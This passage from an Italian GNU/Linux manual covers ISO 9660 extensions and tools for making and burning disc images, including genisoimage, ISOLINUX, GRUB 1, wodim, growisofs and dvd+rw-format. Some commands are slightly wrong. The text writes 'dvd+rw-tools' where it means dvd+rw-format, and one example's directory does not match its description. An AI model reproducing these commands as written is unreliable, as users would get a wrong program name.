Quando si usano delle estensioni per gestire nomi lunghi, nelle directory potrebbe essere aggiunto un file contenente un elenco di abbinamenti tra i nomi corti che appaiono quando non si dispone delle estensioni e i nomi lunghi corretti. Di solito si tratta del file '`TRANS.TBL`' e il suo significato è evidente: *translation table*, ovvero tabella di conversione.

Anche il numero di livelli di sottodirectory ha un limite nel file system ISO 9660: sono al massimo otto. Le estensioni Rock Ridge permettono di superare tale limite, ma come al solito si pongono delle difficoltà per i sistemi che non sono in grado di gestire tali estensioni.

21.7.4.2 Estensioni Zisofs

Le estensioni Zisofs si sommano a quelle Rock Ridge e sono costituite da una tecnica di compressione sui file, che consente un accesso trasparente ai dati. Si tratta precisamente di un'estensione specifica dei sistemi GNU/Linux, tuttavia è possibile estrarre il contenuto di un disco ottico del genere disponendo degli strumenti necessari. Si veda la sezione 21.9 per maggiori dettagli.

21.7.4.3 Estensioni El-Torito

Le estensioni El-Torito permettono di realizzare un CD-ROM o un DVD-ROM «avviabile», purché il firmware (BIOS) dell'elaboratore sia in grado poi di sfruttare effettivamente questa possibilità.

Il metodo consiste nel simulare un dischetto, come se fosse stato inserito nella prima unità. Questo «dischetto» deve contenere naturalmente tutto quello che serve per avviare un sistema in grado di leggere il disco ottico. In pratica, nel caso delle distribuzioni GNU/Linux, si include l'immagine del dischetto di avvio necessario ad avviare il sistema, usando il disco ottico in sola lettura. Questo dischetto deve avere un formato normale: 1200 Kibyte, 1440 Kibyte o 2880 Kibyte.

21.7.4.4 Estensioni Joliet

Le estensioni Joliet nascono dalla Microsoft e servono a consentire la lettura del disco in un sistema MS-Windows, preservando i nomi lunghi.

Le estensioni Joliet non pongono limiti alla dimensione dei nomi dei file, tuttavia non consentono di distinguerli oltre i primi 64 caratteri e si crea un errore irreversibile se due file hanno i nomi che nei primi 64 caratteri sono uguali. In presenza di tali file, se questi non sono rivolti al pubblico che deve consultare il disco attraverso un sistema MS-Windows, si può informare il programma che produce il file system di renderli invisibili alle estensioni Joliet.

In generale, salvo problemi nella lunghezza dei nomi dei file, conviene utilizzare anche queste estensioni in modo da permetterne la lettura del disco che si realizza in qualunque circostanza.

Va osservato che non sempre un disco ottico con estensioni Joliet, realizzato attraverso gli strumenti che si dispongono normalmente in un sistema GNU, risulta leggibile effettivamente in un sistema MS-Windows. Pertanto la leggibilità di un disco destinato alla diffusione, va sempre verificata con il sistema operativo di destinazione. Eventualmente, si può contare ragionevolmente sul fatto che un disco realizzato senza estensioni Joliet sia leggibile se i nomi dei file sono compatibili con i vecchi limiti dei sistemi Dos (otto caratteri, un punto e tre caratteri di estensione).

21.7.4.5 Strumenti per la creazione di un file-immagine ISO 9660 e UDF

Per la creazione di un file-immagine con file system adatto a un disco ottico, si utilizza un programma particolare, in grado di gestire anche le varie estensioni:

```
genisoimage [opzioni] directory
```

Il programma '**genisoimage**',[39] crea il file-immagine a partire dal contenuto di una directory. In pratica, tutto quello che è contenuto nella directory, comprese le eventuali sottodirectory, viene usato per generare il nuovo file system. Non si tratta di un normale programma di inizializzazione, perché con questo tipo di file system non è possibile inizializzare prima e scrivere i dati dopo: inizializzazione e registrazione sono simultanee.

Il programma '**genisoimage**' è derivato da '**mkisofs**', da cui eredita buona parte della sintassi.

Se non viene utilizzata l'opzione '**-o**', il risultato viene emesso attraverso lo standard output.

Questo programma non è in grado di registrare i dischi ottici, ma solo di generare un'immagine del risultato finale in un file che poi viene utilizzato dal programma di masterizzazione. In teoria è possibile inviare l'output del programma direttamente al programma di masterizzazione, ma si tratta generalmente di una tecnica sconsigliabile.

Tabella 21.95. Alcune opzioni generali

Opzione	Descrizione
`-f`	Utilizzando questa opzione, si fa in modo che i collegamenti simbolici vengano tradotti nel file o nella directory a cui puntano. Ciò è utile quando si prepara un disco senza le estensioni Rock Ridge. Se questa opzione non viene utilizzata, i collegamenti simbolici sono copiati come tali e di conseguenza si utilizzano le estensioni Rock Ridge. La lettera «f» sta per *follow links*.
`-m` ***modello***	Questa opzione, seguita da un modello realizzato con i caratteri jolly gestiti dalla shell, permette di escludere tutti i file e le directory che corrispondono al modello. Il modello riguarda solo il nome dei file e delle directory, non il percorso necessario a raggiungerli.
`-o` ***file***	Questa opzione permette di specificare il file di destinazione che deve contenere l'immagine del file system generato. Il file indicato può anche essere un dispositivo a blocchi di un'unità a dischi, come un dischetto o una partizione, ma non può trattarsi dell'unità corrispondente a un disco ottico. Se questa opzione non viene utilizzata, il risultato viene emesso attraverso lo standard output. La lettera «o» sta per *output*.
`-v`	Durante il funzionamento, genera più informazioni. L'opzione può essere data due volte, per ottenere una quantità maggiore di informazioni. La lettera «v» sta per *verbose*.

Opzione	Descrizione
`-C` ***inizio_ultima_sessione*,** ↩ ↪***inizio_prossima_sessione***	Questa opzione si usa assieme a '**-M**' per la creazione di un'immagine da accodare in una sessione successiva di un. L'argomento dell'opzione si compone di due parti, separate da una virgola, costituite da numeri ottenibili dal programma '**wodim**' con l'opzione '**-msinfo**', in riferimento a un disco multisessione a cui si vuole accodare l'immagine che si sta per creare.
`-M` ***immagine_nella_sessione_precedente***	Si usa assieme a '**-C**' per creare un'immagine da considerare la continuazione di un'altra, da inserire nella sessione successiva del disco.

Tabella 21.96. Estensioni legate ai dati contenuti

Opzione	Descrizione
`-R`	Questa opzione permette di generare un file system ISO 9660 con estensioni Rock Ridge, per la memorizzazione di tutte le informazioni tipiche dei sistemi Unix.
`-r`	Questa opzione si comporta in modo analogo a '**-R**' con la differenza che la proprietà e i permessi vengono modificati: file e directory appartengono all'utente e al gruppo '**root**'; tutti i file e le directory ottengono tutti i permessi di lettura; tutti i permessi di scrittura vengono tolti; tutti i file e le directory che risultano avere almeno un permesso di esecuzione o di attraversamento, lo ottengono per tutti gli utenti; i permessi particolari: SUID, SGID e Sticky, vengono rimossi.
`-z`	Serve a precisare che la directory usata per creare il file-immagine contiene file compressi, conformi alle estensioni Zisofs. Questa opzione richiede l'abbinamento con '**-r**' o '**-R**'.
`-T`	Utilizzando questa opzione si attiva la creazione del file '`TRANS.TBL`' in ogni directory, per contenere la tabella di conversione necessaria a stabilire il nome corretto dei file quando si legge il disco in un sistema che non è in grado di riconoscere le estensioni Rock Ridge.
`-J`	Genera le estensioni Joliet per consentirne la lettura nei sistemi MS-Windows.
`-apple`	Genera le estensioni Apple.
`-udf`	Aggiunge delle estensioni per un file system UDF. Utilizzando questa opzione, si ottiene un file system che può essere innestato come ISO 9660, oppure UDF. Ma utilizzando il file system come UDF, si perdono le informazioni tipiche di un sistema Unix (in particolare si perdono i collegamenti simbolici). Se si innesta un disco di questo tipo in un sistema GNU/Linux, lasciando che sia il kernel a individuarne il tipo, l'innesto avviene in qualità di file system UDF; eventualmente, per leggere il disco secondo il file system ISO 9660, occorre specificarlo espressamente. Va ricordato che il file system ISO 9660 non consente di «vedere» i file che occupano più di 4 Gibyte.

Tabella 21.97. Estensioni El-Torito, per rendere avviabile il disco ottico.

Opzione	Descrizione
`-b` ***file_immagine_di_avvio***	Permette di indicare il file contenente l'immagine di un dischetto da utilizzare per rendere avviabile il disco ottico con le estensioni El-Torito. Questa opzione si usa assieme a '**`-c`**'. La lettera «b» sta per *boot*.
`-c` ***file_catalogo***	Questa opzione si usa assieme a '**`-b`**' allo scopo di rendere avviabile il disco ottico utilizzando le estensioni El-Torito. Si deve indicare il nome di un file. Il programma '**`genisoimage`**' lo deve creare o sovrascrivere all'interno della gerarchia che compone l'insieme di ciò che si vuole inserire nel file system ISO 9660. In pratica, questo file serve a contenere delle indicazioni relativamente all'avvio del disco ottico, definite automaticamente da '**`genisoimage`**'. È un po' difficile indicare correttamente i file abbinati alle opzioni '**`-b`**' e '**`-c`**'. In pratica è necessario che la directory corrente nel momento della creazione dell'immagine ISO 9660 corrisponda al punto iniziale della gerarchia che si vuole archiviare in questo modo. Così, i percorsi dei file in questione possono essere indicati in modo relativo.

Segue la descrizione di alcuni esempi.

- `#` **`genisoimage -r -T -v -o prova.img /home/tizio/elio`** [*Invio*]

  Crea un'immagine ISO 9660 nel file '`prova.img`' di quanto contenuto a partire dalla directory '`/home/tizio/elio/`'. Vengono usate le estensioni Rock Ridge, attraverso l'opzione '**`-r`**', ma la proprietà e i permessi di file e directory vengono adattati nel modo generalmente più opportuno. Attraverso l'opzione '**`-T`**' si ottiene la creazione del file '`TRANS.TBL`' in ogni directory.

- `#` **`genisoimage -r -T -v -o prova.img`** ↩
  ↪ **`-b images/boot.img -c boot/boot.cat `pwd``** [*Invio*]

  Crea un'immagine ISO 9660 in un file, a partire dalla directory corrente (l'indicazione viene ottenuta attraverso quanto restituito dal comando '**`pwd`**'). Vengono usate le estensioni Rock Ridge, con l'opzione '**`-r`**', in modo che la proprietà e i permessi di file e directory siano adattati nel modo generalmente più opportuno. Inoltre si utilizza il file '`images/boot.img`' per l'avvio del disco ottico e si crea il file '`boot/boot.cat`' per lo stesso motivo.

- `#` **`genisoimage -r -T -v -o prova.img`** ↩
  ↪ **`-b images/boot.img -c boot/boot.cat $PWD`** [*Invio*]

  Come nell'esempio precedente, con la differenza che la directory corrente viene ottenuta dalla variabile di ambiente ***PWD***.

- `#` **`genisoimage -r -T -J -apple -udf -v -o prova.img /home/tizio/elio`** [*Invio*]

  Crea un'immagine ISO 9660 nel file '`prova.img`' di quanto contenuto a partire dalla directory '`/home/tizio/elio/`'. Vengono usate le estensioni Rock Ridge, attraverso l'opzione '**`-r`**', ma la proprietà e i permessi di file e directory vengono adattati nel modo generalmente più opportuno. L'opzione '**`-J`**' aggiunge le estensioni Joliet; l'opzione

'**-apple**' aggiunge le estensioni Apple; l'opzione '**-udf**' rende ibrido il file system, consentendo di interpretarlo anche come UDF. Attraverso l'opzione '**-T**' si ottiene la creazione del file 'TRANS.TBL' in ogni directory.

- `# genisoimage -r -T -J -apple -udf -v -o prova.img ↩`
  `↪ -b images/boot.img -c boot/boot.cat `pwd`` [*Invio*]

  Crea un'immagine ISO 9660 in un file, a partire dalla directory corrente (l'indicazione viene ottenuta attraverso quanto restituito dal comando '**pwd**'). Vengono usate le stesse estensioni dell'esempio precedente, specificando che il file 'images/boot.img' deve essere usato per l'avvio del disco ottico, creando il file 'boot/boot.cat' per lo stesso motivo.

- `# genisoimage -r -T -J -apple -udf -v -o prova.img ↩`
  `↪ -b images/boot.img -c boot/boot.cat $PWD` [*Invio*]

  Come nell'esempio precedente, con la differenza che la directory corrente viene ottenuta dalla variabile di ambiente ***PWD***.

- `# genisoimage -z -r -v -o prova.img /home/tizio/elio` [*Invio*]

  Crea un'immagine ISO 9660 nel file 'prova.img' di quanto contenuto a partire dalla directory '/home/tizio/elio/', creata precedentemente con file compressi per ottenere le estensioni Zisofs.

21.7.4.6 Esperimenti con il file system ISO 9660

Prima di arrivare alla realizzazione di un disco ottico occorre fare qualche esperimento non distruttivo. Si suppone che si tratti dell'utente '**tizio**' che ha costruito una struttura a partire dalla directory 'prova/' discendente dalla propria directory personale.

`$ genisoimage -r -T -v -o ~/prova.img ~/prova` [*Invio*]

In questo modo è stato creato il file 'prova.img' nella directory personale dell'utente. Per verificare il risultato si può eseguire l'innesto dell'immagine appena creata, ma per questo occorre avere i privilegi dell'utente '**root**'.

`$ su` [*Invio*]

`Password: *******` [*Invio*]

`# mount -o loop -t iso9660 /home/tizio/prova.img /mnt/cdrom` [*Invio*]

Se tutto va bene, da questo momento l'immagine risulta collegata alla directory '/mnt/cdrom/'. Al termine si esegue il distacco dell'immagine nel modo solito.

`# umount /mnt/cdrom` [*Invio*]

Volendo, un'immagine di un file system ISO 9660 può risiedere in un disco normale, o meglio, un disco normale può essere utilizzato come se fosse un disco ottico. Quello che si ottiene è sempre un'unità in sola lettura, perché il tipo di file system non consente la modifica.

Supponendo che con l'esempio precedente si fosse ottenuto un file di dimensione inferiore o al massimo uguale a quella di una partizione di un'unità USB esterna, supponendo che il file

di dispositivo per raggiungerla sia '/dev/sdc1', si potrebbe riversare tale immagine nel modo seguente:

cp /home/tizio/prova.img /dev/sdc1 [*Invio*]

Una volta trasferito il file si può innestare la partizione come se fosse un disco ottico.

mount -t iso9660 /dev/sdc1 /mnt/cdrom [*Invio*]

Al termine si esegue il distacco del dischetto nel modo solito.

umount /mnt/cdrom [*Invio*]

21.7.4.7 ISOLINUX

L'avvio di un disco ottico attraverso la tecnica dell'immagine di un dischetto, specificato con l'opzione '**-b**' di '**genisoimage**', può essere anche troppo limitante, soprattutto quando ci sarebbe l'esigenza di utilizzare un kernel Linux generalizzato e, per questo, molto più grande della capacità di un dischetto. Per questo, si può usare ISOLINUX,[40] il quale offre un metodo differente.

Per avviare un disco ottico attraverso ISOLINUX, si crea normalmente la directory 'isolinux/' all'inizio della gerarchia che deve servire per realizzare il disco stesso. Al'interno di questa directory si collocano alcuni file, descritti nell'elenco seguente.

File	Descrizione
'isolinux.bin'	Si tratta del programma di avvio di ISOLINUX.
'isolinux.cfg'	È il file di configurazione per l'avvio e si realizza in modo simile a quello di SYSLINUX (sezione 6.10).
'vmlinuz'	È il file del kernel Linux (ma si può usare anche un altro nome, in base alla configurazione del file 'isolinux.cfg').

La directory 'isolinux/' può contenere anche tutti gli altri file che possono essere richiesti per l'avvio, in base alla configurazione specificata nel file 'isolinux.cfg'.

Se la propria distribuzione GNU/Linux organizza un pacchetto per ISOLINUX (oppure per SYSLINUX, ma che incorpora ISOLINUX), il file 'isolinux.bin' già pronto può trovarsi nella directory '/usr/lib/isolinux/' (oppure '/usr/lib/syslinux/'): da lì va copiato nella directory 'isolinux/' già descritta.

Purtroppo, ISOLINUX non è in grado di funzionare in tutte le situazioni possibili, soprattutto a causa delle differenze che ci sono nei firmware (BIOS) dei vari tipi di elaboratori, pur restando sempre nella stessa architettura x86. Per cercare di capire dove si blocca il sistema di avvio, al posto di usare il file 'isolinux.bin' che si trova nella directory '/usr/lib/isolinux/isolinux.bin' (oppure '/usr/lib/syslinux/isolinux.bin'), conviene copiare il file 'isolinux-debug.bin', ma nella directory 'isolinux/' deve avere poi sempre il nome 'isolinux.bin'.

A titolo di esempio, viene mostrato come potrebbe essere configurato il file 'isolinux.cfg':

```
DISPLAY intro.msg
```

```
TIMEOUT 0
PROMPT 1
DEFAULT auto

LABEL auto
 LOCALBOOT 0x80

LABEL hda
 KERNEL vmlinuz
 APPEND root=/dev/hda ro

LABEL hdb
 KERNEL vmlinuz
 APPEND root=/dev/hdb ro

LABEL hdc
 KERNEL vmlinuz
 APPEND root=/dev/hdc ro

LABEL hdd
 KERNEL vmlinuz
 APPEND root=/dev/hdd ro

LABEL sr0
 KERNEL vmlinuz
 APPEND root=/dev/sr0 ro

LABEL sr1
 KERNEL vmlinuz
 APPEND root=/dev/sr1 ro
```

In questo esempio, si può vedere la direttiva '**DISPLAY**', con la quale viene visualizzato il contenuto del file 'intro.msg'; questo file si deve trovare, come gli altri, nella directory 'isolinux/'. Successivamente, nelle direttive '**KERNEL**', viene specificato il nome del file che contiene il kernel: in questo caso è 'vmlinuz' (sempre contenuto nella directory 'isolinux/').

Senza entrare nel dettaglio della configurazione di ISOLINUX(si veda eventualmente la sezione 6.10), conviene vedere come va usato '**genisoimage**':

cd ***directory_iniziale_gerarchia***

Si suppone che la directory corrente sia quella iniziale, a partire dalla quale si articola la struttura che si vuole tradurre nel disco ottico:

```
# genisoimage -R -o /tmp/cdrom.img -b isolinux/isolinux.bin ↩
↪             -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 ↩
↪             -boot-info-table .
```

In questo caso, per comodità, si utilizza sempre la directory '`isolinux/`' per inserire il file '`boot.cat`'.

21.7.4.8 GRUB 1

In modo simile a ISOLINUX, anche GRUB 1 (si veda la sezione 6.11 per una descrizione generale di GRUB 1) consente l'avvio da dischi ottici, attraverso il programma contenuto in '`stage2_eltorito`'. In questo caso, serve solo il file '`stage2_eltorito`' e non c'è bisogno di uno '`stage1`' e nemmeno di file intermedi.

Quello che serve per realizzare un disco ottico avviabile con GRUB 1 è la solita struttura '`/boot/grub/`', all'interno della quale si trova il file '`stage2_eltorito`' e il file '`menu.lst`', più altri file eventuali che fossero richiamati dalla configurazione prevista. Molto probabilmente, il kernel del sistema da avviare si colloca nella directory '`/boot/`', ma questo non è indispensabile e basta che il file '`menu.lst`' sia stato predisposto nel modo appropriato a questo riguardo.

Nel file di configurazione, per fare riferimento al disco ottico, non si può usare la voce '**`(hd`*`n`*`)`**' consueta: al suo posto si deve indicare '**`(cd)`**'. L'esempio seguente mostra il contenuto di un file '`menu.lst`', completo ma essenziale:

```
default 1
#
title hdb     root=/dev/hdb ro
kernel (cd)/boot/vmlinuz root=/dev/hdb ro
#
title hdc     root=/dev/hdc ro
kernel (cd)/boot/vmlinuz root=/dev/hdc ro
#
title hdd     root=/dev/hdd ro
kernel (cd)/boot/vmlinuz root=/dev/hdd ro
```

Una volta sistemati i file di GRUB 1, basta creare il file-immagine del disco ottico, in modo analogo a come si procede con ISOLINUX:

`#` **`cd`** ***directory_iniziale_gerarchia***

Si suppone che la directory corrente sia quella iniziale, a partire dalla quale si articola la struttura che si vuole tradurre nel disco ottico:

```
# genisoimage -R -o /tmp/cdrom.img -b boot/grub/stage2_eltorito ↩
↪            -c boot/boot.cat -no-emul-boot -boot-load-size 4 ↩
↪            -boot-info-table .
```

In questo caso, per comodità, si utilizza sempre la directory '`boot/`' per inserire il file '`boot.cat`'.

21.8 Registrare su dischi ottici con GNU/Linux

Per registrare dati in un disco ottico, occorre un'unità per la «masterizzazione» e il software adatto per trasferire un'immagine contenente un file system adatto nel disco vergine. In questo capitolo viene spiegato il procedimento a grandi linee.

Il disco ottico che può essere preparato in casa in casa, potrebbe consentire una sola scrittura, oppure potrebbe essere riscrivibile più volte. Il disco ottico riscrivibile potrebbe richiedere ogni volta una reinizializzazione, oppure potrebbe consentire la riscrittura di porzioni di dati, in modo analogo ad altre unità di memorizzazione di massa comuni. Tuttavia, il disco ottico riscrivibile consente un numero limitato di riscritture, per cui la scrittura ripetuta di alcune zone porta velocemente all'inaffidabilità delle stesse; pertanto, è sempre bene trattare i dischi ottici come unità in sola lettura, salvo quando si procede a una riscrittura completa, ammesso che ciò sia possibile.

Difficilmente è possibile disporre di un solo programma per la scrittura di ogni tipo di disco ottico; pertanto, occorre valutare di volta in volta quale sia lo strumento più adatto.

21.8.1 Problemi legati alla scrittura di dischi ottici

La registrazione di un disco ottico è generalmente un'operazione a senso unico, senza possibilità di ripensamenti né ritardi. Se qualcosa non va, il disco che si ottiene può essere inutilizzabile. Vanno tenute a mente alcune regole fondamentali:

- il flusso di dati verso il masterizzatore dovrebbe essere costante e si dovrebbe mantenere alla velocità di registrazione impostata;
- il masterizzatore non deve essere interessato da vibrazioni;
- prima della registrazione, il disco deve risultare pulito perfettamente.

Il problema legato al flusso di dati costante è molto importante e a volta può costringere a non svolgere altre attività con l'elaboratore dove si sta registrando un disco ottico. Anche il problema della vibrazioni non va trascurato; un urto potrebbe rovinare la registrazione. Per ultimo va considerato anche il problema della pulizia del disco: prima della registrazione è opportuno afferrarlo con cura in modo da non sporcare il lato usato per la scrittura. Una volta registrato, è meno importante il problema della pulizia, se non si prevedono ulteriori riscritture.

21.8.2 Wodim

Wodim[41] è un programma in grado di registrare CD ed eventualmente anche DVD.

```
wodim [opzioni_generali] dev=dispositivo [opzioni_di_traccia] traccia...
```

Esistono vari modi di specificare il dispositivo da usare per la scrittura, ma in un sistema GNU/Linux è sufficiente indicare il file di dispositivo nel modo consueto. Eventualmente, per conoscere quali sono i dispositivi utilizzabili dal programma, si può sfruttare l'opzione '**--devices**'.

Le tracce sono semplicemente nomi di file da usare durante la registrazione. Se si intende utilizzare lo standard input si deve indicare un trattino singolo ('`-`').[42]

Tabella 21.101. Alcune opzioni generali. Le opzioni generali vanno indicate prima della specificazione delle coordinate necessarie a raggiungere l'unità di registrazione.

Opzione	Descrizione
`-v`	Durante la registrazione emette più informazioni.
`-dummy`	Permette di eseguire tutte le operazioni in simulazione. In pratica, tutto avviene come nella realtà, tranne per il fatto che il laser rimane spento.
`-eject`	Espelle il disco alla fine delle operazioni.
`speed=`***velocità***	Permette di definire la velocità di registrazione. Il valore da inserire è un numero intero corrispondente a un multiplo della velocità standard di riproduzione di un CD o di un DVD.
`blank=`{`all` | `fast` | `session` | `unclose` | ***altra_opzione***}	Permette di cancellare un disco riscrivibile prima di un nuovo riutilizzo. Si indica una parola chiave per definire cosa cancellare esattamente. Il minimo è '**`fast`**' che si limita a sovrascrivere gli indici, consentendo un riutilizzo completo del disco; '**`all`**' cancella tutto; '**`session`**' elimina solo l'ultima sessione. Sono disponibili altre parole chiave per situazioni particolari, di cui si trova la descrizione nella pagina di manuale *wodim(1)*.
`driver=`***nome_driver***	Permette di stabilire in che modo accedere all'unità di registrazione attraverso il nome che lo rappresenta sinteticamente (*driver*). Generalmente non è necessario specificarlo, a meno che '**`wodim`**' non sia in grado di riconoscere il tipo di unità. Si può usare precisamente l'opzione '**`driver=help`**' per conoscere l'elenco aggiornato dei nomi disponibili.

Tabella 21.102. Alcune opzioni di traccia. Le opzioni di traccia possono essere alternate tra i nomi dei file che rappresentano le tracce da registrare. La validità dell'effetto di queste opzioni riguarda le tracce successive, fino a che non si incontrano opzioni contrarie.

Opzione	Descrizione
`-data`	Questa opzione è predefinita e permette di specificare che le tracce seguenti contengono dati ISO 9660 o Rock Ridge.
`-audio`	Indica che le tracce seguenti sono di tipo audio.
`-pad`	Aggiunge alla fine delle tracce una pausa di circa 15 secondi. Questa opzione può essere utile se il lettore risulta incapace di leggere gli ultimi settori delle tracce.

Segue la descrizione di alcuni esempi.

- `#` **`wodim -devices`** [*Invio*]

  Scandisce le unità per la registrazione, elencando ciò che trova:

```
wodim: Overview of accessible drives (1 found) :
-------------------------------------------------------------------------
 0  dev='/dev/scd0'     rwrw-- : '_NEC' 'DVD_RW ND-3551A'
-------------------------------------------------------------------------
```

In questo caso ha trovato l'unità '`/dev/scd0`', la quale risulta corrispondere a un masterizzatore CD/DVD per dischi riscrivibili.

- `# `**`wodim -v speed=1 dev=/dev/scd0 -data traccia.img`** [*Invio*]

  Inizia la registrazione a velocità normale del file '`traccia.img`', nell'unità corrispondente al file di dispositivo '`/dev/scd0`'.

- `# `**`wodim -v speed=4 dev=/dev/scd0 blank=fast`** [*Invio*]

  Ripristina rapidamente un CD o un DVD riscrivibile.

21.8.3 Growisofs e DVD+rw-format

Growisofs,[43] è il programma principale del pacchetto DVD+rw-tools, il quale consente la registrazione di dischi ottici DVD e BD:

`growisofs` [***opzioni_generali***] {`-Z`|`-M`} ***file_di_dispositivo*** ***opzioni_di_genisoimage***

Il modello sintattico mostrato non è abbastanza chiaro e si rende necessario osservare gli esempi per comprendere il senso generale.

Il nome Growisofs deriva dal fatto che originariamente il suo scopo era di pilotare correttamente il programma '**`genisoimage`**' per consentire l'aggiunta di dati a un file system ISO 9660 su un'unità di memorizzazione che lo consente. Attualmente, Growisofs gestisce in modo trasparente diverse tecniche che consentono in pratica di aggiungere dati a un disco ottico.

Prima di passare agli esempi di utilizzo di Growisofs conviene conoscere l'uso delle opzioni principali specifiche di questo programma, ricordando che alla fine della riga di comando si inseriscono le opzioni e gli argomenti da dare a '**`growisofs`**', ammesso che non si intenda fornire un file-immagine già pronto per la masterizzazione.

Tabella 21.104. Alcune opzioni specifiche di Growisofs.

Opzione	Descrizione
`-Z` ***file_di_dispositivo*** `-M` ***file_di_dispositivo***	È obbligatorio l'uso di una di queste due opzioni, per stabilire il file di dispositivo corrispondente all'unità fisica da usare per la masterizzazione. L'opzione '**`-Z`**' (*zap*) dichiara che si tratta di una sessione iniziale, mentre l'opzione '**`-M`**' (*merge*) richiede l'aggiunta di una nuova sessione a quelle esistenti. Si osservi però che le sessioni multiple sono incompatibili con il file system UDF.
`-Z` ***file_di_dispositivo=file_immagine***	Questa variante nell'uso dell'opzione '**`-Z`**', consente di fornire un file-immagine già pronto, senza bisogno di utilizzare '**`growisofs`**'.
`-dvd-compat`	Fa in modo di registrare una sola sessione, senza la possibilità di aggiungerne altre.

Opzione	Descrizione
`-speed=`*n*	Consente di specificare la velocità di scrittura, quando per qualche ragione non si vuole lasciare determinare automaticamente questo valore.

Segue la descrizione di alcuni esempi di utilizzo del programma; si osservi che dopo l'opzione '**`-Z`**' o '**`-M`**', appaiono opzioni e argomenti di '**`mkisofs`**'.

- `#` **`growisofs -dvd-compat -Z /dev/sr0=/tmp/immagine.iso`** [*Invio*]

  Copia il file-immagine '`/tmp/immagine.iso`' in un'unità di registrazione collocata nell'unità corrispondente al file di dispositivo '`/dev/sr0`', come prima e unica sessione. Può trattarsi indifferentemente di DVD o di BD

- `#` **`growisofs -Z /dev/sr0 -R -J /home/tizio/dati`** [*Invio*]

  Copia il contenuto della directory '`/home/tizio/dati/`' nel disco contenuto nell'unità '`/dev/sr0`', come prima sessione, a cui potrebbero essere aggiunte successivamente altre sessioni. Attraverso le opzioni di '**`genisoimage`**' si richiede di utilizzare le estensioni Rock Ridge e Joliet.

- `#` **`growisofs -M /dev/sr0 -R -J /home/tizio/dati`** [*Invio*]

  Copia il contenuto della directory '`/home/tizio/appunti/`' in una sessione successiva di un disco collocato nell'unità '`/dev/sr0`'; le opzioni di '**`genisoimage`**' che riguardano le estensioni al formato ISO 9660 devono essere le stesse usate nelle sessioni preesistenti.

- `#` **`growisofs -Z /dev/sr0=/dev/zero`** [*Invio*]

  Cancella completamente il contenuto di un DVD±RW inserito nell'unità corrispondente al file di dispositivo '`/dev/sr0`'. La cancellazione avviene perché si utilizza quanto si ottiene dalla lettura del file di dispositivo '`/dev/zero`'.

Il pacchetto DVD+rw-tools include anche un altro programma che può rivelarsi molto importante: DVD+rw-format. Come si può osservare, nella descrizione fatta di Growisofs mancano delle opzioni specifiche per la «cancellazione» di un disco e in effetti non c'è alcun bisogno di fare questo, salvo quando si vuole utilizzare Growisofs in modo non interattivo all'interno di uno script.

Quando si utilizza Growisofs all'interno di uno script, con l'opzione '**`-Z`**', se il disco fornito risulta contenere già un file system ISO 9660, il procedimento viene interrotto, perché non c'è modo di dare all'utente il tempo di rinunciare all'operazione.

Il programma DVD+rw-format serve a compiere delle operazioni piuttosto «misteriose», simili all'inizializzazione di un disco comune:

`dvd+rw-format [-force[=full]] [-blank[=full]]` ***file_di_dispositivo***

Il programma DVD+rw-format consente di conoscere e di modificare la ***modalità***, la quale può essere ***sequenziale*** o *restricted overwrite*. Per leggere la modalità, basta usare il programma senza opzioni:

dvd+rw-tools /dev/sr0 [*Invio*]

In questo modo si legge la situazione del disco contenuto nell'unità corrispondente al file di dispositivo '`/dev/sr0`'. Ecco cosa si potrebbe ottenere:

```
* DVD±RW format utility by <appro@fy.chalmers.se>, version 4.9.
* 4.7GB DVD-RW media in Restricted Overwrite mode detected.
- media is already formatted, lead-out is currently at
  183200 KB which is 4.0% of total capacity.
- you have the option to re-run dvd+rw-format with:
  -force[=full] to enforce new format or mode transition
                and wipe the data;
  -blank[=full] to change to Sequential mode.
```

In situazioni difficili, dischi riscrivibili che non vogliono saperne di funzionare, si è rivelato utile agire con la sequenza di comandi seguente, dove comunque il punto numero due è facoltativo:

1. # **dvd+rw-tools -force=full /dev/sr0** [*Invio*]
2. # **growisofs -Z /dev/sr0=/dev/zero** [*Invio*]
3. # **growisofs -Z /dev/sr0=immagine.iso** [*Invio*]

In pratica, nell'ultimo passaggio viene copiato un file-immagine già pronto. L'errore osservato che nel modo appena mostrato è stato possibile risolvere si è manifestato così:

growisofs -Z /dev/sr0=immagine.iso [*Invio*]

```
/dev/sr0: "Current Write Speed" is 1.0x1385KBps.
:-[ WRITE@LBA=0h failed with SK=5h/ASC=30h/ACQ=05h]: Wrong medium type
:-( media is not formatted or unsupported.
:-( write failed: Wrong medium type
```

Per concludere è il caso di annotare che il programma '**`growisofs`**' potrebbe risiedere nel file system con i permessi «SUID-root», in modo che ogni utente possa accedere all'unità di scrittura di dischi ottici senza difficoltà. Teoricamente, il programma dovrebbe essere in grado di usare tali privilegi solo per la registrazione del disco, tornando ai privilegi originali nel momento in cui deve accedere ai dati da memorizzare.

21.8.4 Dischi ottici con file system inusuali

Un disco ottico può essere registrato anche utilizzando per la traccia dati un file system differente dal solito ISO 9660 o da UDF, purché si preveda poi soltanto un accesso in lettura. In questo senso è da considerare la possibilità di utilizzare i dischi ottici per l'archiviazione di un file singolo (tar+gzip, o qualcosa del genere), senza la necessità di creare l'immagine di un file system vero e proprio.

È importante ricordare che un disco ottico contenente tracce audio, secondo le convenzioni originali del CD, **non può essere innestato**: l'ascolto richiede programmi appositi, così come l'eventuale estrazione delle tracce audio (sezione 35.3).

21.9 File system compressi

In alcune situazioni può essere conveniente l'utilizzo di un file system compresso. In generale, ci si può aspettare che un file system compresso funzioni correttamente esclusivamente quando questo è stato realizzato per accedervi in sola lettura; diversamente, un file system compresso che preveda e consenta la modifica dei dati, per quanto tecnicamente fattibile, sarebbe troppo poco affidabile e sarebbero maggiori i problemi rispetto ai vantaggi del suo utilizzo.

A fianco di file system compressi, veri e propri, si possono considerare anche sistemi basati sulla compressione trasparente dei singoli file; in tal caso non c'è più la necessità di determinare la dimensione dei blocchi.

21.9.1 Cloop

Con i sistemi GNU/Linux è possibile realizzare e accedere a un file system compresso con Cloop.[44] Il nome lascia intendere che si tratti di un file system contenuto in un file-immagine, compresso successivamente: *Compressed loop*.

La compressione è organizzata in blocchi, costituiti da multipli di 512 byte; l'accesso a un file system compresso con Cloop avviene attraverso l'utilizzo di un modulo apposito del kernel ('`cloop.o`'), con il quale si rende disponibile poi un file di dispositivo che appare come quello di un file system normale, ma in sola lettura. Si osservi che per il momento, Cloop consente di accedere a un solo file system compresso per volta.

